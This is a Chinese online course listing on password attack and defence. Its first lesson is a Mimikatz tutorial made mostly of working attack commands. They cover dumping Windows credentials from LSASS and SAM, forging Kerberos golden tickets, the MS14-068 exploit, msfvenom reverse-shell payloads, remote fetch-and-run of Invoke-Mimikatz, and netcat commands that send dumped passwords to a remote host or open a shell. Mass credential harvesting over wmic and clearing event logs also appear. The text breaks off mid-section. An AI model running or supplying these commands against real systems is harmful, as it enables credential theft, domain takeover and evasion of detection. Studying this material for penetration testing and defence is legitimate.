密码安全攻防技术精讲

课程介绍

本课程内容将以作者亲身经历的事情为主,从技术的视野和攻防角度来剖析各种密码及其他技术对工作和个人生活的影响,将“高高在上”的技术拉进我们日常的生活中来。每一篇文章都是精挑细选的典型案例,背后都有真实故事和场景,以技术的方式来再现和还原。

非技术专业读者可以通过这些文章来了解和预防各种涉及密码的攻击,从事技术工作的读者可以按照文章的搭建环境进行实战实践。由于篇幅有限,密码攻防涉及的技术非常多,对更多关于密码攻防技术感兴趣的读者,可以关注作者出版的图书《黑客攻防实战加密与解密》第 1 版和第 2 版,将所有涉及密码的实战攻防全部聚集在该书中。

作者从事网警工作八年,一直从事网络安全技术方面的研究,《密码安全攻防技术精讲》旨在帮助读者通过了解密码安全来预防黑客及黑色产业链攻击。

专家推荐

陈小兵是一位非常资深的网络安全专家,也是一名非常高产的科普型专著作者。他的书籍都是从基础讲起,结合实际案例,再引申到更高的理论层面,让读者读起来有高屋建瓴之感。他的多部书籍我均作为培训教材给小伙伴儿们推荐,是安全人才提升网络安全能力的有效途径。

本课程是陈小兵师傅的又一力作,能够充分结合人们的日常生活和工作实际,将高深的密码安全知识以最浅显的方式呈现在众人眼前。不管是个人、公司员工、网络安全防护人员以至于渗透测试工作者,都能够在本课程中找到自己需要的那一部分,对提升密码安全防护意识和能力有着莫大的帮助。

——叶猛,现 360 企业安全高级总监、第一批公安部特聘网络安全专家、著名网络安全团队 Xeye 及 SealGod 创始人之一。

作者介绍

陈小兵,高级工程师,北理工计算机学院博士在读;拥有丰富的信息系统项目经验以及 18 年以上的网络安全经验。原公安部专家,现主要从事网络安全及数据库技术研究工作。

已出版《黑客攻防实战案例解析》、《Web 渗透技术及实战案例解析》、《安全之路 Web 渗透技术及实战案例解析》等 8 本专著,在国内核心期刊及普通学术期刊发表论文 20 余篇,曾在《黑客防线》、《黑客 X 档案》等杂志发表文章 100 余篇。

在补天及乌云漏洞平台白帽子,曾提交 200 余个漏洞,曾渗透国内多个大型企业内网,获取整个网络权限。

曾被首都师范大学聘为信息安全授课老师,多次在北京理工大学研究生院、北京航空航天大学研究生院、电子工业出版社、人民日报海外网以及国家等多个政府部门进行安全技术交流和培训。

课程内容

导读:课程概要

18年网络攻防——网络对抗前沿工作者

读者朋友们好,我是陈小兵,网名 simeon,从事网络攻防超过 18 个年头,见证了网络安全的兴衰成败,见证了网络安全的辉煌与成就。在近 10 年的公安工作中,碰到过无数个被网络诈骗的报案者,轻者损失几千元,严重的损失上百万元;我希望事前能够帮到他们,事后能够追回损失的屈指可数!网络攻防对抗最激烈的是无形的“战争”——黑产想尽一切办法从用户银行卡等账号中弄到钱,而“密码”是所有财富账号的一道安全门,如果密码不安全,那么你的钱就相当于裸奔!在 AIC 安全三原则中,必须保证安全对象的可用性、完整性和机密性,而密码则是保持机密性的一种重要手段及应用。很多人不了解网络攻防世界中的密码,以为只要我设置了密码就安全,密码安全涉及你我他,安全的密码可以降低损失,减少被入侵的成功几率。

我一直致力于把那些值得更加深入讨论的话题和内容以图文的形式记录下来。随着日渐积累,已经出版了 8 本网络攻防实战著作(《黑客攻防实战案例解析》、《Web 渗透技术及实战案例解析》、《安全之路 Web 渗透技术及实战案例解析》、《黑客攻防实战加密与解密》、《网络攻防实战研究:漏洞利用与提权》、《网络攻防实战研究:MySQL 数据库攻击与防御》、《网络攻防实战研究:网络攻防实战技术》、《Web 服务器渗透实战》)。

本课程特色

  • 实战性强:来自一线从事安全工作人员的经验总结,有具体利用方法、有技术的相关细节、收集有相关密码实战攻防利用的工具,其技术可在现实环境中再现。
  • 技术性强:从总体架构的高度来设计密码攻防具体的技术,针对密码攻防的每一个技术要点进行全方位的剖析,同时借鉴和参考国内外最新密码攻防技术,通过技术迭代,会有一个全面的提升。
  • 有高度:从基础理论到技术原理,结合技术原理进行实战,在实战中理解和运用技术。

你确保个人计算机密码安全吗

有人认为我计算机设置了密码,我的电脑就是安全的,其实这是一种片面的理解,在公司环境中,个人计算机如果未做保护,获取个人计算机密码轻而易举。

Mimikatz 获取系统密码攻防研究,开机状态密码获取

当计算机未锁屏,心怀不轨的人或者想窃取工作的成果,可是使用 U 盘,将 Mimikatz 复制到 U 盘,仅仅需要输入四行命令即可获取密码,密码结果会保存在 U 盘中:

mimikatzlogprivilege::debugsekurlsa::logonpasswords

在《Mimikatz 获取系统密码攻防研究》中还对如何获取域控密码等技术进行讨论和研究。

物理接触获取并破解 Windows 系统密码

通过插入 U 盘启动或者 Kali、BT5、PE 等可以直接获取系统中的 SAM、Securtiy 和 System 文件,将这些文件复制下来后,可以直接进行密码破解,在内网环境中可以通过哈希传递来获取管理员权限。

利用戴尔服务器远程访问管理卡提权

只要知道服务器 KVM、远程访问管理卡管理员口令,也可以轻松获取服务器权限,密码保存不安全,可在服务器中任意行!

公司服务器为什么被黑,被用来挖矿、挂黑链

很多公司服务器经常发现被黑,发现被黑客用来挂黑链、做肉鸡、用来挖矿,2017 年后很多公司服务器被勒索病毒威胁,不给钱就瘫痪!如果你了解这些,可以减低一大半攻击!

公司网站被入侵——弱口令账号惹的祸

很多公司网站目前都提高了安全等级,架设了 Waf、对 SQL 注入等都进行了防范,但是很多个人账号和管理账号都是弱口令,只要服务器在公网上,就不可避免一天 24 小时被扫描和攻击,只要有万一之一几率被突破,很有可能你就无法避免被渗透。

服务器安全攻防之 SSH 账号扫描及攻击

在本课程中对数款暴力破解 SSH 的攻击工具进行研究,只要密码在攻击字典中,有一定的攻击经验就能获取 SSH 账号,只要获取了 SSH 账号密码,就可以做很多事情,笔者在研究中还发现自动攻击病毒,通过暴力破解,破解成功后将该服务器控制,然后再次进行扫描攻击,而且还将该服务器做矿机进行挖矿等非法活动。知道了 SSH 扫描就知道该如何在服务器上设置策略进行安全防范。

服务器安全攻防之 MySQL 账号扫描及攻击

MySQL 是世界上非常著名的数据库,很多公司都是用其来做数据库系统,这些数据库中的内容往往就是攻击者的目标,在实战中对 MySQL 账号进行扫描是常见攻击手段之一,获取了 MySQL 账号口令后,有些情况下还能直接提权,获取服务器权限。

服务器安全攻防之内网口令扫描及攻击

在内网环境中,很多管理员都认为,内网相对难于被攻击,其实不然,内网是最有价值的网络,是攻击的核心目标区,在通过 APT 或者公司内网连接的 Web 服务器渗透成功后,通过代理工具可以很方便的进入内网,在内网进行横向和纵向渗透,内网 CMS 系统、数据库弱口令、多台服务器设置成同一密码,对黑客来说,进入内网如无人之境!

个人密码、无线密码及财务密码安全

笔者接触的很多个人和公司被电信诈骗、网络诈骗的案例,在没有被骗前都觉得这个手段这么简单,我怎么可能被骗呢?殊不知那些黑产从业者对攻击目标都是精心设计的,一环套一环,一旦个人遇到问题,心里素质不好的,直接就崩溃了,对方说怎么办就怎么办,很多被骗的人都是高素质人才。只有加强个人防范,知己知彼、百战不殆,了解哪些密码是打死我也不说,哪些手段可能带来安全风险,知道如何应对,那么个人被骗的几率将会降低很多。例如,现在很多骚扰电话,可以通过设置来电防护墙来加强,对不熟悉的人,不要说太多,无关的直接挂掉——对方一看就知道不好骗,后续就放弃了!

(1)我无所不能——无线网络里面的秘密

不是每个无线都可以连接,很早以前有人在酒店,通过密码嗅探,诱使被攻击者参与棋牌内游戏,攻击者通过远程控制软件可以查看参与者的桌面,知道对方的筹码,想怎么赢钱就怎么赢钱!在无线咖啡厅,笔者曾经做过一个实验,接入网络后,直接开启 cain 嗅探,不到 10 分钟,就截获了数个邮箱账号及其密码等敏感信息。

(2)请帮我我追回公司被骗 80 万美金(某公司被骗 80 万美元——境外诈骗集团追踪分析和案件打击揪心之疼)。

这是一个真实的案例,朋友找我帮忙,告诉我,被骗了 80 万美金,通过分析追踪,发现攻击者是通过钓鱼攻击获取邮箱密码,通过分析公司邮件信息,伪造贸易往来对方公司邮箱,进而实施诈骗,所有注册信息均在国外,所有注册信息都是精心伪造,能够成功追回的希望很渺茫,笔者穷尽所有技术手段和思路对其进行侦查、追踪!这种案子已经碰到了第5起,希望看了本课程的朋友及公司不再被骗。

你将收获什么

有部分人认为黑客很神秘,其实不然,所有的攻击和渗透都是以知识点为基础,只要掌握了这些知识点,对目标进行攻击测试,只要存在漏洞,根据相应的漏洞利用方法,就可以达到预期的攻击效果。本课程内容主要介绍涉及个人计算机、公司服务器等各种场景中的密码攻防场景,内容上由浅入深,通过学习将掌握以下内容:

  • 个人计算机物理获取操作系统密码;
  • 获取明文密码的技术方法;
  • 服务器被攻击的 Windows 口令、SSH 口令、MySQL、MSSQL 口令以及 Linux 账号暴力破解手段和方法;
  • 无线密码获取和破解;
  • SSH 公钥免密码登录方法;
  • Office 等加密文档的破解方法;
  • 摄像头的攻击方法;
  • 电信诈骗 APK 的分析、防范方法。

课程里的每一个示例,都是经过精挑细选的来自真实环境的渗透,都是一个图文并茂的渗透故事,相信通过本课程的学习将掌握来自真实环境网络攻防的魅力。

课程目录

下面是课程的详细目录,篇篇干货、深入浅出,有技术基础的读者可以根据文章进行技术的在线和还原,只要跟着我的思路来,基础再差,我保证你也能学会。

  • 第01课:Mimikatz 获取系统密码攻防研究
  • 第02课:物理接触获取并破解 Windows 系统密码
  • 第03课:利用戴尔服务器远程访问管理卡提权
  • 第04课:公司网站被入侵——弱口令账号惹的祸
  • 第05课:服务器安全攻防之 SSH 账号扫描及攻击
  • 第06课:服务器安全攻防之 MySQL 账号扫描及攻击
  • 第07课:服务器安全攻防之内网口令扫描及攻击
  • 第08课:轻松破解及获取 Linux 密码破解
  • 第09课:利用服务器公钥直接登录服务器
  • 第10课:利用社工邮箱获取 VPN 账号渗透某大型公司内网
  • 第11课:如无人之境——内网 MSSQL 服务器口令扫描及渗透
  • 第12课:使用 hashcat 暴力破解加密 Office 文档密码
  • 第13课:我无所不能——无线网络里面的秘密
  • 第14课:你确定不会被骗——通过渗透电信诈骗网站看个人财富帐号安全
  • 第15课:某公司被骗 80 万美元——境外诈骗集团追踪分析和案件打击揪心之疼
  • 第16课:密码技术晋级——轻松获取及破解 Windows 操作系统密码
  • 第17课:手机短信带血的问候?——对钓鱼网站 APK 数据的解密分析
  • 第18课:对个人财富的窥视——对一款手机木马的解读及分析
  • 第19课:对个人隐私的窥视——来自网络摄像头的渗透
  • 第20课:磁盘镜像文件加载获取密码

适用人群

在目前这个比较浮躁的社会,掌握一技之长至关重要,知识掌握在自己的大脑中,任何人都拿不走,多那么一点知识储备,在未来的竞争中就会多那么一点机会。网络攻防在外人看起来很难,相信通过本课程的学习,你会发现,只要掌握了相应的知识点,碰到问题将会迎刃而解!其实,网络攻防的每一个成功渗透都有一个技术知识点,只要你掌握了,就如同武林秘籍,只要对方存在这个漏洞,利用这个方法 99% 的可以再现和成功利用。这里有人要问了,为什么不是 100%?在实际利用过程中,或许是环境和配置问题,比如错误配置,无法正常运行,是有漏洞,但条件不具备,所以不能成功的利用。所以说,无论是毫无基础的安全小白,还是初涉安全专业的高校学生,亦或是安全领域从业人员,本课程都能让你各取所需,熟练掌握密码攻防相关知识。

与我互动

一直以来,笔者都在思索,网络攻防实战涉及的面太多,一个人要重头来学,耗费的时间将非常多,而且如果没有人带,真的是跟读天书一样。在 2016 年,笔者尝试将攻防过程的所有涉及密码加密与解密的知识点整理、系统化、理论化,出版了《黑客攻防实战加密与解密》一书,后续又不停完善、提高,才有了本课程,在早期笔者还对相关知识点进行专题化研究、极致化研究、穷尽化研究,研究和阅读大量国内外相关文献、文章和资料,对这些知识点进行总结、提炼,用通俗易懂的语言进行介绍和分享,对于有疑问的地方,大家可以随时留言,我会随时解答。

也可以加小助手(微信号:soledadmg)进群(陈小兵的读者群)交流,进群暗号“陈小兵的读者”:

b65bdb30-6d4e-11e8-af01-53f5ace6b49e

点击了解更多《密码安全攻防技术精讲》

第01课:Mimikatz 获取系统密码攻防研究

Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取 WindowsXP-2012(2016 做了安全防护,需要修改注册表值,重启后生效,可以获取明文密码)等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,从早期 1.0 版本到现在的 2.1.1 20180205 版本,其功能得到了很大的提升和扩展。

Mimikatz 最新版本一共三个文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分为 Win32 位(多了一个 mimilove.exe 文件)和 X64 位。通过它们可以提升进程权限、注入进程读取进程内存,可以直接从 Lsass 中获取当前登录过系统用户的账号明文密码。Lsass 是微软 Windows 系统的安全机制它主要用于本地安全和登录策略,通常我们在登录系统时输入密码之后,密码便会储存在 lsass 内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而 Mimikatz 正是通过对 Lsass 的逆算获取到明文密码!

本文以 Mimikatz 最新版为例,介绍了 Mimikatz 的参数、获取密码以及伪造黄金票据获取域控密码等用户,利用 ms14-068 结合 Mimikatz 获取域控密码等,最后文中还给出了相应的防范方法,对网络攻防都具有一定的借鉴意义。

下载及安装

请单击这里获取最新版下载地址

下载后解压缩即可,里面分为 Win32 和 X64,Win32 是针对 Windows32 位,而 X64 是正对 64位操作系统,目前绝大部分操作系统为 64位(支持大内存的使用)。其相关资源如下:

使用参数详解

本次测试使用 Win32 版本,将程序解压后,通过 cmd 进入当前目录,执行 Mimikatz 程序,如图1所示,随便输入即可获取帮助信息。

enter image description here

图1 显示帮助信息

基本命令

  • exit:退出 Mimikatz。
  • cls:清除当前屏幕。
  • answer:对生命、宇宙和万物的终极问题的回答。
  • coffee:显示 coffee 图案。
  • sleep:默认睡眠 1000ms,后跟时间参数。
  • log:记录 Mimikatz 所有的输入和输出到当前目录下的 log.txt 文件。
  • base64:将输入/输出转换成 base64 编码。
  • version:查看 Mimikatz 的版本
  • cd:切换或者显示当前目录。
  • localtime:显示系统当前时间和 UTC 时间。
  • hostname:显示主机的名称。

使用模块

输入“::”显示其支持模块信息。

(1)standard:标准模块,基本命令,不需要模块信息。

(2)crypto:加密模块,其后跟以下参数,其使用命令为 crypto:: 参数名,例如 crypto::providers,如图2所示。

enter image description here

图2 参考加密算法提供类型及名单

  • providers:该命令列出所有 CryptoAPI 提供者。
  • stores:列出系统存储中的逻辑存储,crypto::stores /systemstore:local_machine。
  • certificates:显示或者导出证书。
  • keys:列出或者显示密钥。
  • sc:此命令列出系统上的智能卡/令牌读取器或将其移出系统;当 CSP 可用时,它会尝试在智能卡上列出密钥。
  • hash:显示当前用户的的哈希(LM、NTLM、md5、sha1、sha2)计算值。
  • system:描述 Windows 系统证书(注册表或者 hive 文件)。
  • scauth:从 CA 创建一个认证(智能卡等)。
  • certtohw:尝试将软件 CA 导出到加密(虚拟)硬件中。
  • capi:修补 CryptoAPI 程序方便导出。
  • cng:修补 CNG 服务方便导出。
  • extract:从 CAPI RSA/AES 提供者获取密钥。

(3)sekurlsa 枚举用户凭证

  • sekurlsa::msv:获取 LM & NTLM 凭证,可以获取明文密码。
  • sekurlsa::wdigest:获取 WDigest 凭证,可以获取明文密码。
  • sekurlsa::kerberos:获取 Kerberos 凭证。
  • sekurlsa::tspkg:获取 TsPkg 凭证。
  • sekurlsa::livessp:获取 LiveSSP 凭证。
  • sekurlsa::ssp:获取凭证。
  • sekurlsa::logonPasswords:获登录用户信息及密码,如果是在系统权限或者 psexec 进入的系统权限下,直接使用该命令,而无需运行 privilege::debug,否则需要运行该命令。
  • sekurlsa::process:切换或者恢复到 lsass 初始状态。
  • sekurlsa::minidump:切换或者恢复到 minidump 初始状态。
  • sekurlsa::pth:Pass-the-hash
  • sekurlsa::krbtgt:krbtgt!
  • sekurlsa::dpapisystem:显示DPAPI_SYSTEM密码值。
  • sekurlsa::tickets:显示 Kerberos 票据。
  • sekurlsa::ekeys:显示 Kerberos 加密密钥。
  • sekurlsa::dpapi:显示内存中的 MasterKeys。
  • sekurlsa::credman:显示管理员凭证。

(4)kerberos:Kerberos 包模块

(5)privilege:特权模块

  • Privilege::debug:请求调试权限。
  • Privilege::driver:请求装载驱动权限。
  • Privilege::security:请求安全权限。
  • Privilege::tcb:请求 tcb 权限。
  • Privilege::backup:请求 backup 权限。
  • Privilege::restore:请求恢复权限。
  • Privilege::sysenv:请求系统环境权限。
  • Privilege::id:请求 id 特权,参数后跟具体的 id 值,例如请求特权 8:privilege::id 8。
  • Privilege::name:请求指定名称的权限。

(6)process:进程模块

  • process::list:列出进程。
  • process::exports:导出进程列表。
  • process::imports:导入进程列表。
  • process::start:开始一个进程,后跟进程名称。
  • process::stop:终止一个进程,process::stop /pid:1692(结束 pid 为1692的进程)。
  • process::suspend:挂起一个进程。
  • process::resume:恢复一个进程。
  • process::run:运行一个进程。

(7)service:Service module

  • service::start:开始服务。
  • service::remove:移除服务。
  • service::stop:停止服务。
  • service::suspend:暂停服务。
  • service::resume:恢复服务。
  • service::preshutdown:预关闭服务。
  • service::shutdown:关闭服务。
  • service::list:列出服务。
  • service::+ - 安装 Mimikatz 服务。
  • service::- - 卸载 Mimikatz 服务。

(8)lsadump:LsaDump module

Lsadump::sam:该命令转储安全帐户管理器(SAM)数据库,它包含用户密码的 NTLM,有时包含 LM 哈希。

在线命令提升模式获取:

privilege::debugtoken::whoamitoken::elevatelsadump::sam

离线获取,通过以下方式备份 SYSTEM&SAM 配置:

reg save HKLM\SYSTEM SystemBkup.hivreg save HKLM\SAM SamBkup.hiv

或者使用 Volue Shadow Copy / BootCD 来备份这些文件:

C:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SAM

然后执行 mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv 即可获取。

可在线进行破解查询

  • Lsadump::secrets:从 registry 或者 hives 获取保存的密码凭据,可以直接获取明文密码。
  • Lsadump::cache:获取内存中的密码值。
  • Lsadump::lsa:从 lsa 服务器获取密码,lsadump::lsa /inject /name:krbtgt。
  • Lsadump::trust:Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys rpdata。
  • Lsadump::dcsync:Ask a DC to synchronize an object。
  • Lsadump::dcshadow:They told me I could be anything I wanted, so I became a domain controller。
  • Lsadump::setntlm:Ask a server to set a new password/ntlm for one user。
  • Lsadump::changentlm:Ask a server to set a new password/ntlm for one user。
  • Lsadump::netsync:Ask a DC to send current and previous NTLM hash of DC/SRV/WKS。

(9)ts 终端服务模块

  • ts::sessions:显示当前的会话。
  • ts::multirdp:允许多个用户使用 rdp,安装 rdp 补丁。

(10)event 事件模块

  • event::drop:启用事件补丁服务,不再记录新产生的事件。
  • event::clear:清除时间日志。

(11)misc 杂项模块,打开 cmd、regedit、taskmgr、ncroutemon、detours、wifi、addsid、memssp、skeleton 等。

(12)token:令牌操作模块

  • token::whoami:显示当前的身份。
  • token::list:列出系统所有的令牌。
  • token::elevate:冒充令牌。
  • token::run:运行。
  • token::revert:恢复到进程令牌。

(13)vault:Windows 信任/凭证模块,Vault::list 列出 Windows 信任/凭证。

(14)net 显示 user、group、alias、session、wsession、tod、stats、share、serverinfo 等信息。

Mimikatz 获取密码

旧版本配合 psexec 密码获取方法及命令

  • 到 tools 目录,psexec \127.0.0.1 cmd
  • 执行 mimikatz
  • 执行 privilege::debug
  • 执行 inject::process lsass.exe sekurlsa.dll
  • 执行 @getLogonPasswords
  • widget 就是密码
  • exit 退出,不要直接关闭否则系统会崩溃

bat 脚本获取法

(1)创建 get.bat 脚本

@echo offmimikatz.exe <command.txt >pass.txtexit

(2)创建 command.txt 文件

privilege::debuginject::process lsass.exe sekurlsa.dll   @getLogonPasswordsExit

(3)执行 get.bat 文件即可获取密码,pass.txt 记录的即为获取的密码,get.bat、command.txt 和 mimikatz.exe 在同一个文件夹下。

Mimikatz 2.0 以上版本获取系统明文密码

(1)sekurlsa 获取

privilege::debugsekurlsa::logonpasswords

(2)Lsadump 获取密码

Lsadump::secrets

利用 ms14-068 漏洞进行攻击

(1)生成tgt_zhangsan@admin.com.ccche票据

ms14-068.py -u zhangsan@admin.com -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com

(2)导入票据

mimikatz kerberos::ptc c:/tgt_zhangsan@admin.com.ccche

使用 ps1 批量获取 Windows 密码

在 Windows 2008 及以上操作系统中执行命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

注意:获取密码的计算机必须能够访问 raw.githubusercontent.com 网络,也可以将该 ps 文件下载到其他地址,然后替换后执行。该脚本目前在 Win2014 中只能获取 NTLM 值,无法获取明文密码,如图3所示。

enter image description here

图3 通过 ps 脚本获取密码值

MSF 下 Mimikatz 获取密码

(1)需要生成一个反弹的可执行程序或者通过漏洞直接获取一个反弹的 shell。下面是通过 msfvenom 生成 shell:

(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.warScripting Payloads(8)Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>(12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>(13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

在架构中比较好用的有两个cmd/powershell_base64和x86/shikata_ga_nai,下面生成一个实例(反弹的服务器 IP 为 192.168.106.133):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe

(2)运行 msfconsole 并设置:

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.106.133set lport 4444run或者exploit

(3)在测试计算机上运行 exe 文件。

(4)在 msf 获取反弹的 shell,如图5所示。

  • getuid 获取当前帐号为系统权限,则进行后续操作,否则通过 ps 命令去获取小于 1000 以内的 pid,执行 migrate pid 来提升权限后,继续执行后续步骤。
  • load mimikatz。
  • 运行 mimikatz 下面的凭证获取命令:
  kerberos   获取网络认证协议凭证,其中可能会有明文密码  msv        获取msv 凭证,其中包含LM和NTLM哈希密码值  wdigest    获取wdigest (摘要式身份验证)凭证,其中可能会有明文密码
  • 还可以执行 hashdump 来导出系统的哈希密码值。

使用 Mimikatz 伪造 Kerberos 黄金票据

以域控 test.local 为例子,mimikatz 在 c:\test\ 目录下。

导出 krbtgt 的 Hash

在域控上执行通过 mimkatz 输出:

mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"

找到如下信息:

/domain:test.local/sid:S-1-5-21-4155807533-921486164-2767329826/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f

生成 Golden Ticket

伪造的用户设置为 god,执行:

mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"

生成文件 gold.kirbi。

伪造 Golden Ticket 获得域控权限,导入 Golden Ticket,执行如下命令:

kerberos::ptt c:\test\gold.kirbi

ms14_068 获取域控密码

利用 ms14_068 漏洞获取域控权限

目前网上有 Python 脚本的利用方法,其下载地址请单击这里,具体方法如下:

(1)获取 SID

  • 方法1:wmic useraccount where name="USERNAME" get sid
  • 方法2:whoami /all 或者 whoami /user 本机可以直接查出自己的 SID;例如获取 SID 值为:S-1-5-21-3314867233-3443566213-336233174-500。

(2)生成 tgt 文件

ms14-068.py -u antian365@antian365.local -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local

会在当前命令目录生成一个 TGT_ antian365@ antian365.local.ccache 文件,将该文件复制到 mimikatz 目录。

(3)导入 tgt 文件

mimikatz.exe log "kerberos::ptc TGT_ antian365@ antian365.local.ccache" exit

(4)查看并获取域控权限

net use \\DC2. antian365.local\admin$    //注:使用IP可能会失败 dir \\DC2. antian365.local\c$

(5)klist 查看票据,klist 仅仅在 Win2008 以上可以查看。

MSF 漏洞模块利用

(1)使用 ms14_068 模块

use auxiliary/admin/kerberos/ms14_068_kerberos_checksumset DOMAIN DEMO.LOCALset PASSWORD antian365set USER antian365set USER_SID S-1-5-21-3314867233-3443566213-336233174-500set RHOST WIN-T.demo.local run

生成一个形如time_default_ip_windows.kerberos_num.bin的文件。

(2)导入 bin 文件

kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/ 

保存为 0-00000000-antian365@krbtgt-DEMO.LOCAL.kirbi 文件。

(3)使用生成的 kirbi

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 172.16.158.1exploitgetuidload mimikatzkerberos_ticket_use /tmp/0-00000000- antian365@krbtgt-DEMO.LOCAL.kirbibackgroundsessions

(4)获取域控权限

use exploit/windows/local/current_user_psexecset TECHNIQUE PSHset RHOSTS WIN-T.demo.localset payload windows/meterpreter/reverse_tcpset lhost 172.16.158.1set SESSION 1exploitgetuid

Mimikatz 使用技巧

(1)获取并记录密码到 mimikatz.log 文件

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir

(2)输出到本地 log.txt 文件

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt

(3)记录新密码到文件

有时候获取的哈希是旧的,这时需要记录新的登录哈希值,可以使用以下命令来记录,记录的结果在 c:\windows\system32\mimilsa.log。

mimikatz.exeprivilege::debugmisc::memssp

(4)通过 nc 命令将 mimikatz 执行结果传输到远程

  • 取结果服务器(192.168.106.145)执行监听命令
nc -vlp 44444
  • 在想获取密码的服务器上执行
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444

(5)通过 nc 命令远程执行 mimikatz

  • 在黑客反弹计算机(192.168.106.145)上执行nc.exe -vlp 4444
  • 在被攻击计算机(192.168.106.130)上执行nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe

接着就会反弹到 192.168.106.145 的 4444 端口,出来一个 cmd 的窗口,可以在该窗口进行密码获取,如图4所示。

enter image description here

图4 nc 反弹执行命令

(6)批量获取域控密码

通常在域渗透的时候,我们可能想要获得更多的密码,针对 server08 以后的服务器获取 ntds.dit 的 hash 以后还不一定能破解出来,所以可以通过 Mimikatz 来获取明文密码,但是一台一台登录去获取会很慢且不方便,所以这里介绍一个批量的方法:

1)创建共享文件夹:

cd\mkdir opennet share open=C:\open /grant:everyone,fullicacls C:\open\ /grant Everyone:(OI)(CI)F /t

修改注册表:

reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ openreg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1

修改共享目录到 open。

2)在共享目录添加下列文件:

  • 执行脚本 powershellme.cmd,脚本内容:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.11\open\%COMPUTERNAME%.txt 2>&1

IP 是设置共享的主机 IP 地址。

  • Invoke-Mimikatz.ps1
  • mongoose
  • 服务器列表 serverlist.txt,换行分割

3)运行 mongoose,默认开启端口 8080。

4)执行 wmic:

wmic /node:@serverlist.txt process call create "\\192.168.1.11\open\powershellme.cmd"

带凭证:

wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.11\open\powershellme.cmd"

5)在共享目录看各个服务器的密码吧。

6)清除记录:

  • 关掉 mongoose 并删除
  • net share open /delete
  • 删除共享目录及文件
  • 修改注册表

PS:可以使用如下命令开启 PowerShell remoting:

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"

Linux 版本的 Mimikatz 密码获取工具 mimipenguin

mimipenguin

Mimikatz 的 Linux 平台仿造版本 mimipenguin(由 @HunterGregal 开发),mimipenguin 需要 root 权限运行,通过检索内存、/etc/shadow 文件等敏感区域查找信息进行计算,从而提取出系统明文密码。软件下载地址请单击这里,下载后运行 mimipenguin.sh 即可,如图5所示。

enter image description here

图 5 Linux 下直接获取密码

支持版本

